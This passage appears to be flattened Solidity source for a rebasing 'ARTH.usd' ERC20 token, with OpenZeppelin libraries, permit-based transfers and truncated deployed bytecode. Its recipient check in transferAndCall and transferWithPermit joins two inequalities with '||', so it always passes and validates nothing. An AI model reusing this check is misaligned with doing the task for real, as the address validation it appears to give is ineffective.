IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; interface IGMUOracle { function getPrice() external view returns (uint256); function getDecimalPercision() external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import {ERC20Rebase} from "./ERC20Rebase.sol"; import {ITransferReceiver} from "./interfaces/ITransferReceiver.sol"; contract ERC20RebasePermit is ERC20Rebase { string public name; mapping(address => uint256) public nonces; bytes32 public immutable DOMAIN_SEPARATOR; bytes32 public constant PERMIT_TYPEHASH = keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ); bytes32 public constant TRANSFER_TYPEHASH = keccak256( "Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)" ); constructor(string memory _name, uint256 chainId) { name = _name; DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this) ) ); } function transferAndCall( address to, uint256 value, bytes calldata data ) public virtual returns (bool) { require( to != address(0) || to != address(this), "ARTH.usd: bad `to` address" ); uint256 balance = balanceOf(msg.sender); require(balance >= value, "ARTH.usd: transfer exceeds balance"); _transfer(msg.sender, to, value); return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data); } function transferWithPermit( address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual returns (bool) { require(block.timestamp <= deadline, "ARTH.usd: Expired permit"); bytes32 hashStruct = keccak256( abi.encode( TRANSFER_TYPEHASH, target, to, value, nonces[target]++, deadline ) ); require( _verifyEIP712(target, hashStruct, v, r, s) || _verifyPersonalSign(target, hashStruct, v, r, s), "ARTH.usd: bad signature" ); // NOTE: is this check needed, was there in the refered contract. require( to != address(0) || to != address(this), "ARTH.usd: bad `to` address" ); require( balanceOf(target) >= value, "ARTH.usd: transfer exceeds balance" ); _transfer(target, to, value); return true; } function _verifyEIP712( address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s ) internal view returns (bool) { bytes32 hash = keccak256( abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct) ); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == target); } /// @dev Builds a _prefixed hash to mimic the behavior of eth_sign. function _prefixed(bytes32 hash) internal pure returns (bytes32) { return keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", hash) ); } function _verifyPersonalSign( address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s ) internal pure returns (bool) { bytes32 hash = _prefixed(hashStruct); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == target); } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol"; contract ERC20Rebase is IERC20 { using SafeMath for uint256; uint256 internal _totalSupply; uint256 internal _gonsPerFragment = 1e6; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; function gonsPerFragment() public view virtual returns (uint256) { return _gonsPerFragment; } function gonsDecimals() public view virtual returns (uint256) { return 6; } function gonsPercision() public view virtual returns (uint256) { return 10**gonsDecimals(); } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply.mul(gonsPerFragment()).div(gonsPercision()); } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account].mul(gonsPerFragment()).div(gonsPercision()); } function underlyingBalanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address.approve(address spender, uint256 amount) */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`s tokens of at least * `amount`. * * NOTE: The `spender i.e msg.sender` and the `owner` both should not be blacklisted. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub( amount, "ARTH.usd: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].sub( subtractedValue, "ARTH.usd: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * * NOTE: The `sender` should not be blacklisted. */ function _transfer( address sender, address recipient, uint256 value ) internal { // get amount in underlying uint256 gonValues = value.div(gonsPerFragment()).mul(gonsPercision()); // sub from balance of sender _balances[sender] = _balances[sender].sub(gonValues); // add to balance of receiver _balances[recipient] = _balances[recipient].add(gonValues); emit Transfer(sender, recipient, value); } function _mint(address account, uint256 gonValues) internal { require(account != address(0), "ARTH.usd: mint to the zero address"); uint256 amount = gonValues.mul(gonsPerFragment()).div(gonsPercision()); _totalSupply = _totalSupply.add(gonValues); _balances[account] = _balances[account].add(gonValues); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 gonValues) internal { require(account != address(0), "ARTH.usd: burn from the zero address"); uint256 amount = gonValues.mul(gonsPerFragment()).div(gonsPercision()); _balances[account] = _balances[account].sub( gonValues, "ARTH.usd: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(gonValues); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ARTH: approve from zero"); require(spender != address(0), "ARTH: approve to zero"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; interface ITransferReceiver { function onTokenTransfer( address, uint256, bytes calldata ) external returns (bool); }
0x608060405234801561001057600080fd5b50600436106101e45760003560e01c8063605629d61161010f578063935a8b84116100a2578063a9059cbb11610071578063a9059cbb146105d5578063b6b55f2514610605578063dd62ed3e14610635578063f2fde38b14610665576101e4565b8063935a8b841461053957806395d89b41146105695780639da3fe2e14610587578063a457c2d7146105a5576101e4565b80637ecebe00116100de5780637ecebe00146104af5780637ed8f653146104df5780638b84674a146104fd5780638da5cb5b1461051b576101e4565b8063605629d614610427578063663267541461045757806370a0823114610475578063715018a6146104a5576101e4565b80632e1a7d4d116101875780633644e515116101565780633644e5151461038d57806339509351146103ab5780634000aea0146103db57806351bae2ab1461040b576101e4565b80632e1a7d4d146102f15780632f4f21e21461032157806330adf81f14610351578063313ce5671461036f576101e4565b806318160ddd116101c357806318160ddd14610255578063205c28781461027357806323b872dd146102a35780632d7776ed146102d3576101e4565b8062bf26f4146101e957806306fdde0314610207578063095ea7b314610225575b600080fd5b6101f1610681565b6040516101fe9190612bdb565b60405180910390f35b61020f6106a5565b60405161021c9190612cd2565b60405180910390f35b61023f600480360381019061023a919061264a565b610733565b60405161024c9190612bc0565b60405180910390f35b61025d61074a565b60405161026a9190612e94565b60405180910390f35b61028d6004803603810190610288919061264a565b610786565b60405161029a9190612bc0565b60405180910390f35b6102bd60048036038101906102b8919061255d565b61081e565b6040516102ca9190612bc0565b60405180910390f35b6102db6108e9565b6040516102e89190612c9c565b60405180910390f35b61030b6004803603810190610306919061271b565b61090f565b6040516103189190612bc0565b60405180910390f35b61033b6004803603810190610336919061264a565b610929565b6040516103489190612bc0565b60405180910390f35b6103596109c2565b6040516103669190612bdb565b60405180910390f35b6103776109e6565b6040516103849190612eaf565b60405180910390f35b6103956109f9565b6040516103a29190612bdb565b60405180910390f35b6103c560048036038101906103c0919061264a565b610a1d565b6040516103d29190612bc0565b60405180910390f35b6103f560048036038101906103f09190612686565b610ac2565b6040516104029190612bc0565b60405180910390f35b610425600480360381019061042091906124f8565b610c61565b005b610441600480360381019061043c91906125ac565b610d64565b60405161044e9190612bc0565b60405180910390f35b61045f610fbe565b60405161046c9190612e94565b60405180910390f35b61048f600480360381019061048a91906124f8565b611065565b60405161049c9190612e94565b60405180910390f35b6104ad6110e0565b005b6104c960048036038101906104c491906124f8565b611168565b6040516104d69190612e94565b60405180910390f35b6104e7611180565b6040516104f49190612e94565b60405180910390f35b610505611227565b6040516105129190612e94565b60405180910390f35b610523611242565b6040516105309190612b05565b60405180910390f35b610553600480360381019061054e91906124f8565b61126c565b6040516105609190612e94565b60405180910390f35b6105716112b5565b60405161057e9190612cd2565b60405180910390f35b61058f611343565b60405161059c9190612cb7565b60405180910390f35b6105bf60048036038101906105ba919061264a565b611369565b6040516105cc9190612bc0565b60405180910390f35b6105ef60048036038101906105ea919061264a565b611428565b6040516105fc9190612bc0565b60405180910390f35b61061f600480360381019061061a919061271b565b61143f565b60405161062c9190612bc0565b60405180910390f35b61064f600480360381019061064a9190612521565b611459565b60405161065c9190612e94565b60405180910390f35b61067f600480360381019061067a91906124f8565b6114e0565b005b7f42ce63790c28229c123925d83266e77c04d28784552ab68b350a9003226cbd5981565b600480546106b290613287565b80601f01602080910402602001604051908101604052809291908181526020018280546106de90613287565b801561072b5780601f106107005761010080835404028352916020019161072b565b820191906000526020600020905b81548152906001019060200180831161070e57829003601f168201915b505050505081565b60006107403384846115d8565b6001905092915050565b6000610781610757611227565b610773610762611180565b6000546117a390919063ffffffff16565b6117b990919063ffffffff16565b905090565b60006107996107936117cf565b836117d7565b6107c6600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684846119b3565b8273ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a94243648360405161080c9190612e94565b60405180910390a26001905092915050565b600061082b848484611a39565b6108de84336108d9856040518060600160405280602b815260200161379b602b9139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c059092919063ffffffff16565b6115d8565b600190509392505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061092261091c6117cf565b83610786565b9050919050565b6000610960600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166109596117cf565b3085611c5a565b61096a8383611ce3565b8273ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c836040516109b09190612e94565b60405180910390a26001905092915050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b600760149054906101000a900460ff1681565b7f1722642dd46b308aa943c1becb447d1ddfc59d77aa49e3f6d42fa0b8842e3c6381565b6000610ab83384610ab385600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b6115d8565b6001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580610b2b57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b610b6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6190612d74565b60405180910390fd5b6000610b7533611065565b905084811015610bba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb190612db4565b60405180910390fd5b610bc5338787611a39565b8573ffffffffffffffffffffffffffffffffffffffff1663a4c0ed36338787876040518563ffffffff1660e01b8152600401610c049493929190612b80565b602060405180830381600087803b158015610c1e57600080fd5b505af1158015610c32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5691906126f2565b915050949350505050565b610c696117cf565b73ffffffffffffffffffffffffffffffffffffffff16610c87611242565b73ffffffffffffffffffffffffffffffffffffffff1614610cdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd490612d94565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167fc0f22017bb55cfa34bf65e8e94d4e833134d87d5074032cba5b597d07c71208c60405160405180910390a250565b600084421115610da9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da090612dd4565b60405180910390fd5b60007f42ce63790c28229c123925d83266e77c04d28784552ab68b350a9003226cbd59898989600560008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190610e1f906132b9565b919050558a604051602001610e3996959493929190612bf6565b604051602081830303815290604052805190602001209050610e5e8982878787611ebb565b80610e725750610e718982878787611fd1565b5b610eb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea890612df4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16141580610f1957503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614155b610f58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4f90612d74565b60405180910390fd5b86610f628a611065565b1015610fa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9a90612db4565b60405180910390fd5b610fae898989611a39565b6001915050979650505050505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166368ad8e036040518163ffffffff1660e01b815260040160206040518083038186803b15801561102857600080fd5b505afa15801561103c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110609190612744565b905090565b60006110d9611072611227565b6110cb61107d611180565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a390919063ffffffff16565b6117b990919063ffffffff16565b9050919050565b6110e86117cf565b73ffffffffffffffffffffffffffffffffffffffff16611106611242565b73ffffffffffffffffffffffffffffffffffffffff161461115c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115390612d94565b60405180910390fd5b61116660006120a7565b565b60056020528060005260406000206000915090505481565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166398d5fdca6040518163ffffffff1660e01b815260040160206040518083038186803b1580156111ea57600080fd5b505afa1580156111fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112229190612744565b905090565b6000611231610fbe565b600a61123d9190612ff2565b905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600880546112c290613287565b80601f01602080910402602001604051908101604052809291908181526020018280546112ee90613287565b801561133b5780601f106113105761010080835404028352916020019161133b565b820191906000526020600020905b81548152906001019060200180831161131e57829003601f168201915b505050505081565b600760009054906101000a9